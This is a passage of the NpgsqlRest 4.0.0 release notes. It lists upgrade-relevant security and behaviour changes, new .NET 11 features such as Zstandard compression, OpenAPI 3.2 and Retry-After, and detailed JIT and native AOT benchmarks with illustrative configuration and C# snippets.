memory, because rows are written as UTF-8 bytes straight from the database through one pooled request state and sent in larger network writes. Endpoints with `user_context` now send their context together with the routine in one database round trip instead of two, so they serve 41–69% more requests per second and answer about 120 µs sooner, and connections are reset between requests only when an endpoint actually leaves something on them. The measurements, as JIT and as native AOT, are under [Performance](#performance). + +### Upgrade notes (read this first) + +Most applications upgrade without changes. Go through this list; each item links to the full explanation. + +**Platform** + +- **.NET 10 and .NET 11.** The `NpgsqlRest` library and all plugin packages now target both `net10.0` (LTS) and `net11.0`, so applications on .NET 10 can take this release without changing framework. The `npgsqlrest` executable and Docker images are built with .NET 11 and are self-contained, so nothing changes for them. + +**Changes that may need action** + +- **Password login is stricter.** If your login function returns a password hash column, a login now always fails unless the password was actually checked against that hash. → [details](#login-no-longer-succeeds-without-a-verified-password) +- **Behind a reverse proxy or load balancer:** the client IP is no longer read from `X-Forwarded-For` and similar headers. Enable `ForwardedHeaders` (with `ForwardLimit: 1` and your proxy listed), or every user shares the proxy's IP in rate limits and audit data. → [details](#breaking-the-client-ip-address-is-no-longer-taken-from-request-headers) +- **`Antiforgery:Enabled: true`** now protects API endpoints: POST, PUT, PATCH and DELETE requests must send the antiforgery token. → [details](#breaking-antiforgeryenabled-now-actually-protects-api-endpoints) +- **`authorize` with user names or ids:** values are roles now. Use `user:` or `id:`, including SSE hints such as `format('authorize id:%s', _user_id)`. → [details](#breaking-authorize-values-are-roles-users-need-user-or-id) +- **`user_params` on endpoints anonymous users can call:** client-sent values for those parameters are ignored when the caller isn't signed in. → [details](#breaking-anonymous-callers-can-no-longer-fill-user-parameters-user_params) +- **`proxy` endpoints:** `Cookie`, `Authorization` and `Proxy-Authorization` are no longer forwarded upstream, and `Set-Cookie` is no longer passed back. Remove a header from `ProxyOptions:ExcludeHeaders` if an upstream really needs it. → [details](#breaking-the-reverse-proxy-no-longer-forwards-credentials-or-client-chosen-identity) +- **HTTP Custom Types:** request values are percent-encoded in the URL, and calls without `@timeout` time out after 30 seconds. → [details](#breaking-http-custom-types-encode-request-values-in-the-url-and-calls-time-out-after-30-seconds-by-default) +- **Login clients:** a wrong password now returns `401`, not `404`. → [details](#breaking-a-wrong-password-now-answers-like-an-unknown-user-401) +- **Upload `row_command` with `{placeholders}`:** placeholders are no longer substituted in that SQL. → [details](#breaking-no-placeholder-substitution-in-upload-row_command) +- **`user_context` and `request_headers context`:** the values no longer stay on the database connection after the request. For functions, tables, views and single-statement SQL files they are now local to the request; a setting that is not set reads as an empty string, not NULL, so write `nullif(current_setting('request.user_id', true), '')`. For the other endpoints that use them (procedures, uploads, login and logout, multi-statement SQL files) and for `BeforeRoutineCommands`, every connection is now reset between requests unless `WrapInTransaction` is on; settings left by your own SQL (`set_config(..., false)`, `SET ROLE`, temporary tables) then no longer survive to the next request either. → [details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections) +- **Passkeys:** frontends must send `userContext` back exactly as received, and multi-instance deployments need shared Data Protection keys. → [details](#passkeys-a-signed-in-user-could-add-their-passkey-to-someone-elses-account) +- **External login:** accounts whose email the provider reports as unverified are rejected. With Microsoft login, identify users by the stable `sub` id rather than by email. → [details](#external-login-unverified-email-addresses-are-rejected) +- **MCP from a browser page on the same named host** (e.g. `https://app.example.com` calling its own `/mcp`): add that origin to `McpOptions.AllowedOrigins`. → [details](#mcp-the-dns-rebinding-check-could-be-bypassed) + +**Visible changes that normally need no action** + +- Anonymous calls to `authorize` endpoints get `401` before validation runs, so they no longer see validation errors, `204` or `404` responses. → [details](#authorization-is-now-checked-before-the-request-is-processed) +- A `500` caused by the infrastructure (for example, the database is unreachable) no longer includes the error message. PostgreSQL's own errors still do. → [details](#infrastructure-error-details-are-no-longer-returned-to-clients) +- **Rejected (rate-limited) requests now carry a `Retry-After` header.** Set `RateLimiterOptions:RetryAfterHeader` to `false` for the earlier response. → [details](#retry-after-on-rate-limited-requests) +- **Three things ASP.NET Core 11 and .NET 11 change by themselves** (the `npgsqlrest` client and its Docker images; not the library used on .NET 10): + - With `ResponseCompression` enabled, **every** response now has `Vary: Accept-Encoding`, including the ones that were not compressed. A CDN or caching proxy in front may start keeping one copy per `Accept-Encoding` value; have it normalize that header. + - Kestrel is stricter about HTTP. An HTTP/2 or HTTP/3 request with a `Connection`, `Keep-Alive`, `Proxy-Connection`, `Transfer-Encoding` or `Upgrade` header (or `TE` other than `trailers`) is refused, and after an HTTP/1.1 request with both `Content-Length` and `Transfer-Encoding` the connection is closed. A gateway that forwards such headers needs to stop doing so. + - On x64, .NET 11 needs a processor with the x86-64-v2 instruction set (SSE4.2, POPCNT: in practice anything made since about 2009). On an older one the binary does not start and says "The current CPU is missing one or more of the baseline instruction sets". +- SQL files: a comment line written without `@` that begins with `returns` or `result` is an annotation only when the rest of it looks like one; a sentence is a comment. Write `@returns` and `@result` to be explicit. → [details](#sql-files-a-comment-starting-with-returns-or-result-was-taken-for-an-annotation) +- OpenAPI tags are separated by commas only: `@openapi tags a b` is now one tag, `a b`. → [details](#openapi-a-tag-could-not-be-several-words) +- Built-in `key = value` lines with a value that is not valid (`raw = maybe`) now log a warning. → [details](#key--value-forms-that-did-nothing-in-silence) +- A comment line that begins with `@` and is not an annotation is no longer published as part of the endpoint's description, and an unknown `@key = value` logs a warning at startup. → [details](#unknown--lines-not-published-and-a-misspelt-key-is-said) +- OpenAPI summaries and descriptions show only the prose lines of routine comments, not the annotations. → [details](#openapi-published-the-routines-annotations-including-credentials) +- The memory cache holds at most 100,000 entries by default (`CacheOptions:MemoryCacheMaxEntries`). → [details](#memory-cache-callers-could-grow-server-memory-without-limit) +- Multi-line SSE messages now arrive complete, as one event. → [details](#server-sent-events-forged-events-and-unbounded-memory-for-idle-subscribers) +- Static files inside dot-directories (such as `.git`) are no longer served; `.well-known` still is. → [details](#static-files-protected-pages-reachable-through-path-variants-git-served-unbounded-memory) +- New startup warnings point out risky settings. → [details](#new-startup-warnings-for-risky-configurations) +- Row responses smaller than 16 KB are sent in one piece when the query finishes, not every 25 rows. An endpoint meant to send rows as they are produced needs `buffer_rows 0`. → [details](#rows-are-sent-in-larger-pieces) + +--- + +### .NET 11 + +- The `npgsqlrest` client, the tests and the benchmarks target `net11.0`. The core library and every plugin target **`net10.0` and `net11.0`**: .NET 10 is the long-term-support release (supported until November 2028), so library users on it get this release, including its security fixes, without changing framework. Everything compiles with C# 15. +- CI runs the full test suite twice: on .NET 11, and against the library's `net10.0` build on the .NET 10 runtime (`dotnet test NpgsqlRestTests -p:NpgsqlRestTestFramework=net10.0`). +- The JIT Docker image (`Dockerfile.jit`) uses the .NET 11 `aspnet` and `sdk` base images. The native AOT images are unchanged; they build a self-contained binary. +- CI builds, tests and publishes with the .NET 11 SDK (plus the .NET 10 runtime for the second test run). `global.json` pins SDK `11.0.100`. +- CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an `authorize` endpoint, gzip, a 200 KB value, 2,000 rows, endpoints with `user_context` and `request_headers context`, and 200 parallel requests (`.github/scripts/aot-smoke-test.sh`). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below. +- **Runtime Async is not enabled, but it now can be.** .NET 11 introduces Runtime Async (`runtime-async=on`), which replaces compiler-generated async state machines with suspension managed by the runtime. NpgsqlRest was measured with it at each stage of this release: + - **With the original request handler**, one very large async method, it was harmful. The native AOT build of `npgsqlrest` crashed on its very first request, and every wait for I/O saved about 13.7 KB of state instead of one 0.8 KB object. + - **With the handler split into a few large methods**, the crash was gone, but every request still allocated about 1 KB more. The reason turned out to be simple: with Runtime Async, what a method saves while it waits is sized for its *largest* waiting point, and every wait in that method pays for it. The two main request methods each saved 450–480 bytes whenever a request waited for the database. + - **With the request pipeline restructured** into small methods around one request state (see [Performance](#performance)), Runtime Async costs almost nothing. It was measured next to the build that ships, as JIT and as native AOT: requests per second, response times and CPU per request are the same within measurement noise (the last column of the tables under [Performance](#performance)). It allocates about 0.3 KB more per request. The native AOT executable works with it and is 0.3 MB smaller, and the whole test suite passes with it. + + So it is safe now, but it has no benefit yet, and it stays off. What is left has one cause: a request spends its waiting time inside Npgsql, and Npgsql 10 is not compiled with Runtime Async. Every wait that crosses that boundary costs an extra small object, while the build that ships reuses its async state from a pool. That changes when Npgsql ships Runtime Async builds, and it will be measured again then. To try it yourself, build with `-p:NpgsqlRestRuntimeAsync=true` (it applies to the `net11.0` builds; the `net10.0` builds are never affected). + +- **What .NET 11 itself changes.** The same 4.0.0 code was built for both runtimes and put under the same load (the method is described under [Performance](#performance); same connection settings on both sides): + + | Same code, 4.0.0 | JIT on .NET 10 | JIT on .NET 11 | AOT on .NET 10 | AOT on .NET 11 | + |---|---:|---:|---:|---:| + | Requests per second, text value (32 connections) | 34,372 | 34,944 | 35,346 | 33,992 | + | Requests per second, 100 rows (32 connections) | 18,510 | 18,464 | 17,308 | 16,655 | + | Response time, text value (one at a time) | 189 µs | 194 µs | 193 µs | 194 µs | + | Response time, 119 KB JSON value (one at a time) | 2.09 ms | 2.31 ms | 2.07 ms | 2.17 ms | + | Server CPU per request, text value | 211 µs | 152 µs | 208 µs | 163 µs | + | Server CPU per request, 100 rows | 360 µs | 289 µs | 382 µs | 358 µs | + | Process memory after the load | 282 MB | 141 MB | 203 MB | 62 MB | + + On this machine .NET 11 serves about the same number of requests (up to 4% fewer as native AOT) and answers a single request slightly later (0–3%, a large value 5–11%). It does so with clearly less CPU time (6–28%) and with half to a third of the memory. These are numbers from one machine (macOS on Apple silicon); expect the direction, not the exact figures, elsewhere. + +--- + +### New with .NET 11 + +Three additions that .NET 11 and ASP.NET Core 11 made possible or worthwhile. All three are settings; nothing changes until they are used, except the `Retry-After` header, which is on. + +#### Zstandard response compression + +ASP.NET Core 11 can compress responses with [Zstandard](https://facebook.github.io/zstd/) (`Content-Encoding: zstd`), which compresses about as well as Brotli for a fraction of the CPU time, and which current Chrome, Edge and Firefox ask for. The client can now use it: + +```jsonc +{ + "ResponseCompression": { + "Enabled": true, + "UseZstandard": true, // new, default false + "UseBrotli": true, + "UseGzipFallback": true, + "CompressionLevel": "Optimal", + "ZstandardQuality": null // new: 1 (fastest) to 22 (smallest); null follows CompressionLevel + } +} +``` + +- A client is answered with the encoding it prefers (`Accept-Encoding` with its `q` values). Among the encodings it accepts equally, the order is Zstandard, Brotli, Gzip, so a browser that sends `gzip, deflate, br, zstd` gets Zstandard, and a client that does not list `zstd` gets what it got before. +- `CompressionLevel` stands for a Zstandard quality: `Optimal` is 3 (the algorithm's own default), `Fastest` is 1, `SmallestSize` is 19. `ZstandardQuality` sets it directly; a value outside 1 to 22 is ignored with a warning. +- It is off by default so that an upgrade changes no response. The setting needs .NET 11, which is what the `npgsqlrest` client is built for. + +#### OpenAPI 3.2, where HTTP QUERY endpoints can be described + +Endpoints of the [`QUERY`](https://npgsqlrest.github.io/annotations/http.html) method (since 3.20.0) were left out of the OpenAPI document with a warning, because OpenAPI 3.0 and 3.1 have a fixed list of operations and `query` is not among them. OpenAPI 3.2 adds it. `SpecVersion` accepts a third value: + +```jsonc +{ + "NpgsqlRest": { + "OpenApiOptions": { + "Enabled": true, + "SpecVersion": "3.2" // "3.0" (default), "3.1", or "3.2" + } + } +} +``` + +With `"3.2"` the document says `openapi: 3.2.0` and a `QUERY` endpoint is an operation like any other, under the `query` key of its path, next to `get` or `post` when the path has those too: + +```json +"/api/search": { + "query": { + "summary": "Search by a term.", + "tags": ["public"], + "operationId": "public_search_query", + "requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "properties": { "term": { "type": "string" } }, "required": ["term"] } } } }, + "responses": { "200": { "description": "Successful response", "content": { "application/json": { "schema": { "type": "string" } } } } } + } +} +``` + +Everything else in the document is the same as in the 3.0 document. The default stays `"3.0"`: OpenAPI 3.2 is recent, so check that the tools reading your document (Swagger UI, code generators) understand it before choosing it. In 3.0 and 3.1 documents `QUERY` endpoints are still left out, and the warning now says which setting documents them. For library users: `OpenApiOptions.SpecVersion = "3.2"`, and the constant `OpenApiSpecVersions.V32`. + +#### `Retry-After` on rate-limited requests + +A request rejected by the rate limiter got its status code and message, and nothing that says when to try again. It now carries the `Retry-After` header: the number of seconds, rounded up, until the limiter will let a request through. + +``` +HTTP/1.1 429 Too Many Requests +Retry-After: 42 + +Too many requests. Please try again later. +``` + +- **Fixed window:** the time until the window ends. **Sliding window:** the time until a used permit leaves the window. **Token bucket:** the time until the next token. With a `Partition`, it is the time for the caller's own bucket. +- **Concurrency** policies send no header: the limiter cannot know when a running request will finish. +- Per-policy `StatusCode` and `StatusMessage` work as before; the header is added to whatever the policy answers. +- .NET 11 is what makes the header worth sending: its fixed window limiter reports the time that is left (on .NET 10 it reports the whole window, whatever part of it has passed), and its sliding window limiter reports a time at all (on .NET 10 it does not). + +```jsonc +{ + "RateLimiterOptions": { + "Enabled": true, + "RetryAfterHeader": true // new, default true; false sends rejections as before, without the header + } +} +``` + +--- + +### Performance + +Compared with 3.21.0, this release serves **21–24% more row requests per second**, needs **28–36% less CPU** for them, **37–45% less CPU** for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. Endpoints with `user_context` or `request_headers context` need **one database round trip instead of two**: they serve **41–69% more requests per second** and answer about 120 µs sooner. + +NpgsqlRest runs in two ways, and they are measured separately: + +- **JIT**: the NuGet library inside your own application, the JIT Docker image (`Dockerfile.jit`), `dotnet run`. +- **Native AOT**: the `npgsqlrest` executable (npm, release downloads, the default Docker images). + +Each was measured in three builds: **3.21.0** as released, on .NET 10; **4.0.0** on .NET 11, as it ships; and 4.0.0 on .NET 11 compiled with **Runtime Async**, which is not what ships (see [.NET 11](#net-11)). + +#### 4.0.0 compared with 3.21.0 + +All builds were published the standard way, started with default settings, and put under load by an HTTP/1.1 client with keep-alive connections. Everything ran on one machine: Apple M4 Pro, PostgreSQL 17 in Docker, all on localhost. Four endpoints were used: a function returning one short text value, a PL/pgSQL function running five small queries, a function returning 100 rows of mixed column types (15 KB of JSON), and a function returning one 119 KB `json` value. Three runs each, in different orders; averages are shown. *CPU per request* is the server process's CPU time divided by the number of requests. + +**JIT** + +| | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async | +|---|---:|---:|---:|---:| +| **Requests per second** (32 connections) | | | | | +| Text value | 39,242 | 39,162 | same | 39,681 | +| PL/pgSQL function | 32,637 | 32,074 | same | 32,166 | +| 100 rows | 16,484 | 20,471 | **+24%** | 20,194 | +| **Response time**, one request at a time | | | | | +| Text value | 183 µs | 191 µs | +4% | 190 µs | +| PL/pgSQL function | 255 µs | 261 µs | +2% | 262 µs | +| 100 rows | 454 µs | 420 µs | **−7%** | 423 µs | +| 119 KB JSON value | 2.40 ms | 2.26 ms | **−6%** | 2.22 ms | +| **Server CPU per request** (8 connections) | | | | | +| Text value | 201 µs | 145 µs | **−28%** | 141 µs | +| 100 rows | 425 µs | 273 µs | **−36%** | 273 µs | +| 119 KB JSON value | 882 µs | 484 µs | **−45%** | 476 µs | +| **Process memory after the load** | 333 MB | 147 MB | **−56%** | 147 MB | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async | +|---|---:|---:|---:|---:| +| **Requests per second** (32 connections) | | | | | +| Text value | 39,071 | 38,136 | same | 37,836 | +| PL/pgSQL function | 31,847 | 30,841 | −3% | 31,029 | +| 100 rows | 15,464 | 18,707 | **+21%** | 18,947 | +| **Response time**, one request at a time | | | | | +| Text value | 183 µs | 192 µs | +5% | 191 µs | +| PL/pgSQL function | 251 µs | 260 µs | +4% | 261 µs | +| 100 rows | 481 µs | 473 µs | same | 475 µs | +| 119 KB JSON value | 2.37 ms | 2.12 ms | **−11%** | 2.13 ms | +| **Server CPU per request** (8 connections) | | | | | +| Text value | 158 µs | 151 µs | −4% | 150 µs | +| 100 rows | 457 µs | 327 µs | **−28%** | 323 µs | +| 119 KB JSON value | 780 µs | 493 µs | **−37%** | 489 µs | +| **Process memory after the load** | 248 MB | 64 MB | **−74%** | 66 MB | + +How to read this: + +- Differences of about 3% or less are within the variation between runs ("same"). The load client and PostgreSQL ran on the same machine as the server, so requests per second compare the builds; they are not a capacity figure. +- **Small requests take about 8 µs longer one at a time, and are served at the same rate under load.** That comes from .NET 11, not from NpgsqlRest: a request this small is almost entirely the HTTP stack and one database round trip, and a plain ASP.NET Core endpoint with no database and no NpgsqlRest takes 30 µs on .NET 10 and 39 µs on .NET 11 in the benchmark below. NpgsqlRest's own share of such a request went down, from about 20 µs to about 10 µs. +- **Part of the CPU and most of the memory difference is .NET 11 itself.** On .NET 10, the same 4.0.0 code already needs 11–12% less CPU for rows, 18–31% less for large values and about a sixth less memory than 3.21.0; .NET 11 does the rest (see [.NET 11](#net-11)). +- **Runtime Async makes no measurable difference**, in either direction, in JIT or in native AOT. +- JIT or AOT? Under this load the JIT build needs 2–17% less CPU per request and serves about 9% more row requests, and the AOT executable needs less than half the memory and starts instantly. That trade-off is the same as before. + +#### Connections are reset only when needed + +A request can leave *session-level* settings on its database connection. Up to 3.21.0, `user_context` and `request_headers context` always did: they passed their values to PostgreSQL with `set_config(..., false)`, and the `npgsqlrest` client never cleared them (it forced `No Reset On Close=true`), which is the leak fixed in this release ([details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). The first fix was to let Npgsql reset every connection when it returns to the pool. That is safe, and it turned out to be expensive: Npgsql's reset is `DISCARD ALL`, PostgreSQL runs it before every request, and it also discards the cached query plans, so each request plans every statement of the PL/pgSQL functions it calls again. + +| Native AOT (the JIT figures are 1–6% higher) | No reset | Reset, as 4.0.0 does it | `DISCARD ALL` | +|---|---:|---:|---:| +| Text value, requests per second (32 connections) | 38,136 | 33,297 | 33,928 | +| PL/pgSQL function with five queries, requests per second | 30,841 | 26,968 | 21,904 | +| PL/pgSQL function with five queries, response time | 260 µs | 278 µs | 360 µs | + +So 4.0.0 does three things: + +- **Most requests no longer leave anything behind.** The request context of functions, tables, views and single-statement SQL files is sent together with the routine, as settings that exist only for that one request. See [The request context travels with the routine](#the-request-context-travels-with-the-routine) below. + +- **It resets only when something can be left behind.** At startup, once the endpoints are built, the client checks whether any request can leave session-level settings on a connection: + + | Your application | Connections are reset | + |---|---| + | `user_context` or `request_headers context` on a procedure, an upload, login or logout endpoint, a SQL file with several statements (or with a statement that is not a query or data change), or a routine returning a single `bytea` value | **Yes**, after every request, for all endpoints | + | An upload endpoint sets the upload metadata context key, or `BeforeRoutineCommands` are configured | **Yes**, after every request, for all endpoints | + | Any of the above, with `WrapInTransaction` enabled | **No**: the settings are local to the request's transaction | + | `user_context` or `request_headers context` only on functions, tables, views and single-statement SQL files | **No**: the context is local to the request | + | None of these features | **No**: nothing NpgsqlRest does stays on a connection | + | The connection string contains `No Reset On Close` | As you set it: `true` never, `false` always | + + The decision is logged at debug level. The numbers in the tables above are from an application of the fifth kind. Note that `NpgsqlRest:AuthenticationOptions:UseUserContext: true` turns the context on for every endpoint, login and logout endpoints included, which is the first kind; putting the `user_context` annotation on the endpoints that read the context avoids that. + +- **When it resets, it keeps the query plans.** The client prepares one trivial statement on every new database connection. With a prepared statement present, Npgsql resets a connection with the individual commands (`RESET ALL`, `CLOSE ALL`, `UNLISTEN *`, releasing advisory locks, `DISCARD SEQUENCES`, `DISCARD TEMP`) instead of `DISCARD ALL`. Settings, the role, temporary tables, advisory locks, listeners and cursors are cleared exactly as before; cached plans and prepared statements are kept. PostgreSQL re-plans on its own when the search path, the role or a referenced object changes. + +Two things to know: + +- **Session state left behind by your own SQL** (a `set_config(..., false)` inside a function, a temporary table, `SET ROLE`) is cleared only when connections are reset. If your routines depend on a clean session and no endpoint uses the features in the table, add `No Reset On Close=false` to the connection string. In 3.21.0 and earlier such state was never cleared. +- **SQL that runs `PREPARE name AS ...`** must `DEALLOCATE` it, as in 3.21.0: prepared statements survive the reset. + +For library users: you create the data source, so nothing changes by itself. Npgsql resets its connections with `DISCARD ALL` unless you set `No Reset On Close`. After `UseNpgsqlRest`, the new `NpgsqlRestOptions.ConnectionResetRequired` tells you whether your endpoints need the reset, and this keeps the plans when you do reset: + +```csharp +var dataSourceBuilder = new NpgsqlDataSourceBuilder(connectionString); +// With a prepared statement on the connection, Npgsql resets it with RESET ALL etc. instead of DISCARD ALL. +dataSourceBuilder.UsePhysicalConnectionInitializer( + connection => { using var command = new NpgsqlCommand("select 1", connection); command.Prepare(); }, + async connection => { await using var command = new NpgsqlCommand("select 1", connection); await command.PrepareAsync(); }); +``` + +#### The request context travels with the routine + +`user_context` and `request_headers context` pass values to PostgreSQL as settings, which the routine reads with `current_setting()`. Until now they were set by a separate command before the routine ran. That is a second round trip to the database for every such request, and because the settings were made at session level, they stayed on the connection afterwards, which is what makes the connection reset above necessary. + +For functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine now go to PostgreSQL together. This is what PostgreSQL receives for one request to a function with `user_context` (taken from its statement log): + +| 3.21.0 | 4.0.0 | +|---|---| +| `select set_config($1,$2,false)`
`select set_config($1,$2,false)`
`select set_config($1,$2,false)`
`select set_config($1,$2,false)`
*(the response comes back, then:)*
`select public.who_am_i(_greeting=>$1)` | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null`
`select public.who_am_i(_greeting=>$1)` | +| two round trips | one round trip | +| the four settings stay on the connection | nothing stays on the connection | + +PostgreSQL runs the two statements in one transaction, and the settings are local to it (`is_local = true`): the routine sees them, and they are gone when it ends. The routine's own statement is sent exactly as before. + +Measured like the tables above, with the endpoints called by a signed-in user (cookie authentication), so every request carries four context settings: the IP address, user id, user name and roles. The three `user_context` endpoints are a function returning a short text value, the PL/pgSQL function with five queries, and the function returning 100 rows. Three runs each, in different orders; averages are shown. *PostgreSQL CPU per request* is the CPU time of the PostgreSQL container divided by the number of requests. + +**JIT** + +| | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,070 | 35,704 | **+69%** | +| PL/pgSQL function, `user_context` | 19,314 | 30,094 | **+56%** | +| 100 rows, `user_context` | 11,710 | 17,803 | **+52%** | +| Text value without context, same application | 39,429 | 38,048 | −4% | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 335 µs | 217 µs | **−35%** | +| PL/pgSQL function, `user_context` | 399 µs | 282 µs | **−29%** | +| 100 rows, `user_context` | 648 µs | 521 µs | **−20%** | +| Text value without context, same application | 186 µs | 199 µs | +7% | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 320 µs | 166 µs | **−48%** | +| 100 rows, `user_context` | 650 µs | 313 µs | **−52%** | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97 µs | 60 µs | **−38%** | +| 100 rows, `user_context` | 362 µs | 300 µs | **−17%** | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,209 | 35,570 | **+68%** | +| PL/pgSQL function, `user_context` | 18,789 | 28,532 | **+52%** | +| 100 rows, `user_context` | 11,591 | 16,376 | **+41%** | +| Text value without context, same application | 38,108 | 37,094 | same | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 337 µs | 218 µs | **−35%** | +| PL/pgSQL function, `user_context` | 398 µs | 281 µs | **−29%** | +| 100 rows, `user_context` | 691 µs | 545 µs | **−21%** | +| Text value without context, same application | 189 µs | 199 µs | +5% | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 255 µs | 172 µs | **−32%** | +| 100 rows, `user_context` | 607 µs | 366 µs | **−40%** | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97 µs | 60 µs | **−39%** | +| 100 rows, `user_context` | 371 µs | 306 µs | **−18%** | + +How to read this: + +- **A request with `user_context` now costs one database round trip less.** Each of the three endpoints answers about 120 µs sooner, which is what one round trip to PostgreSQL takes on this machine, and under load they serve 41–69% more requests. +- **The context itself is now almost free.** In 3.21.0 the text value took 335 µs with `user_context` and 186 µs without it (JIT, one request at a time). Now it takes 217 µs with it and 199 µs without. +- **PostgreSQL has less to do as well:** 38–39% less CPU for the small request and 17–18% less for 100 rows. It gets one statement that sets all the settings instead of a statement per setting, and one transaction per request instead of two. +- **The server's CPU per request** includes the other improvements of this release, which is why it falls even more for rows. +- **An endpoint without context is not affected.** The last row of the first two groups is the text value from the tables above, in the same application and called with the same login cookie. Its small difference is the .NET 11 effect described there; the cookie costs the same 8 µs or so in both versions. + +Which endpoints this applies to, and what else to know: + +- **It applies to** functions, tables and views, and SQL files that consist of one query or data-changing statement (`select`, `with`, `insert`, `update`, `delete`, `merge`, `values`, `table`). +- **It does not apply to** procedures (a procedure can `COMMIT`, which would end the local settings while it is still running), SQL files with several statements or with another kind of statement (`call`, `do`, ...), upload, login and logout endpoints, and routines that return a single `bytea` value. It is also off for all endpoints when `BeforeRoutineCommands` are configured, and with `WrapInTransaction`, where the context is already local to the request's transaction. These endpoints set their context as before, with a separate command. +- **A cached response no longer touches the database.** For an endpoint with `user_context` and `cached`, a cache hit used to open a connection and set the context before the cached value was returned. Now nothing is sent. +- **`NpgsqlRest:AuthenticationOptions:UseUserContext: true`** turns the context on for every endpoint, including login and logout endpoints. Those keep the session-level context, so such an application still resets its connections ([above](#connections-are-reset-only-when-needed)); all its other endpoints still save the round trip. +- **In PostgreSQL's statement log and in `pg_stat_statements`**, the context of such a request is now one `select set_config(...) is null, ...` statement instead of one `select set_config($1,$2,false)` per setting. +- **What your SQL sees is the same**, with one exception that was already true after a connection reset: a setting that is not set reads as an empty string, not NULL (see [What to check](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). + +For library users: + +- Nothing to configure. `RoutineEndpoint`, `NpgsqlRestOptions` and the callbacks are unchanged, with one exception: when `CommandCallbackAsync` is set, the context is set by a separate command as before, because the callback works with the routine's command and may execute it itself. +- **This uses one non-public member of Npgsql.** NpgsqlRest reads every value as text, and for a batch Npgsql has that switch (`NpgsqlBatch.AllResultTypesAreUnknown`) only as an internal property; making it public is on Npgsql's backlog ([npgsql/npgsql#3922](https://github.com/npgsql/npgsql/issues/3922)). NpgsqlRest reaches it without reflection, so trimmed and native AOT builds work, and checks once at startup that it is there. If your application runs with an Npgsql version that does not have it, NpgsqlRest logs one informational message and sets the context the old way, with a separate command. Nothing else changes in that case. The package references Npgsql 10.0.3, where it is present, and a test fails if an Npgsql upgrade ever removes it. + +#### JIT: BenchmarkDotNet + +The endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoints`). They send one request at a time to an in-process server, which runs as JIT code and uses the library directly. `GetText` is the text value above and `GetRows100` the 100 rows. Allocations are per request, client and server together. Two interleaved runs each, averages shown. + +| JIT | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async | +|---|---:|---:|---:|---:| +| `GetText` allocated | 7.13 KB | 4.90 KB | **−31%** | 4.94 KB | +| `GetRows100` allocated | 190.7 KB | 51.0 KB | **−73%** | 51.1 KB | +| `GetRows100` garbage collections per 1,000 requests (gen 0 / gen 1) | 23.4 / 3.4 | 6.3 / 0.5 | **−73% / −86%** | 6.3 / 0.5 | +| `GetText` mean time | 177.0 µs | 180.6 µs | +2% | 178.4 µs | +| `GetRows100` mean time | 425.1 µs | 397.4 µs | **−7%** | 397.6 µs | + +- Of the 51.0 KB that `GetRows100` still allocates, 44.6 KB is the benchmark's own client holding the response (a 15,217-character string and its byte buffer). Everything else together (the client's HTTP stack, Kestrel, Npgsql and NpgsqlRest) went from 146 KB to 6 KB. +- For `GetText`, two reference benchmarks give the floor: the same HTTP round trip without a database and the same query without HTTP. On .NET 11 they allocate 3.03 KB and 1.57 KB, 4.60 KB together, and NpgsqlRest adds 0.30 KB on top of them. In 3.21.0 on .NET 10 the same two took 4.54 KB and NpgsqlRest added 2.59 KB. +- Time: the two reference benchmarks take 30.3 µs and 127.1 µs on .NET 10, and 39.1 µs and 131.7 µs on .NET 11. That is 13 µs more for the same work on .NET 11, and it is why `GetText` is not faster although NpgsqlRest's own part of it roughly halved (177.0 − 157.4 = 20 µs before, 180.6 − 170.8 = 10 µs now). + +- `GetTextUserContext` is new in these benchmarks: the same text value from an endpoint with `user_context`, which sends four context settings with the request (see [The request context travels with the routine](#the-request-context-travels-with-the-routine)). With the context in a separate round trip, the way 3.21.0 sends it, the request took 333.8 µs and allocated 10.17 KB; that was measured on the 4.0.0 code just before the change, because 3.21.0 does not have this benchmark. With the context sent together with the routine it takes 207.1 µs and allocates 8.76 KB. One run each; `GetText` and `GetRows100` came out the same in both runs. + +Allocations per request can only be measured this way in JIT mode. The code is the same in the native AOT executable, and its memory under load fell accordingly. + +#### How the speed was gained, in code + +Four changes account for almost all of it. The code is shortened, but it is what a request does. + +**1. A row is built from the bytes PostgreSQL sent, not from strings.** PostgreSQL sends every value as UTF-8 text and the response is UTF-8, so no value has to become a .NET string on the way. + +```csharp +// 3.21.0: a string per value, a UTF-16 row, and then everything encoded back to UTF-8 +object value = reader.GetValue(i); // allocates a string for every value of every row +var raw = ((string)value).AsSpan(); +rowBuilder.Append(jsonColumnNames[i]); // rowBuilder is a StringBuilder +JsonValueFormatter.FormatValue(raw, value, descriptor, rowBuilder); +// ... +WriteStringBuilderToWriter(rowBuilder, writer); // encodes the row to UTF-8 + +// 4.0.0: the value's bytes go from the reader into a pooled byte buffer +using var stream = reader.GetStream(i); // the raw column; Npgsql reuses the stream object +stream.ReadExactly(scratch, 0, length); +rowBuilder.Append(utf8JsonColumnNames[i]); // rowBuilder is a byte buffer; "name": is prepared once, as 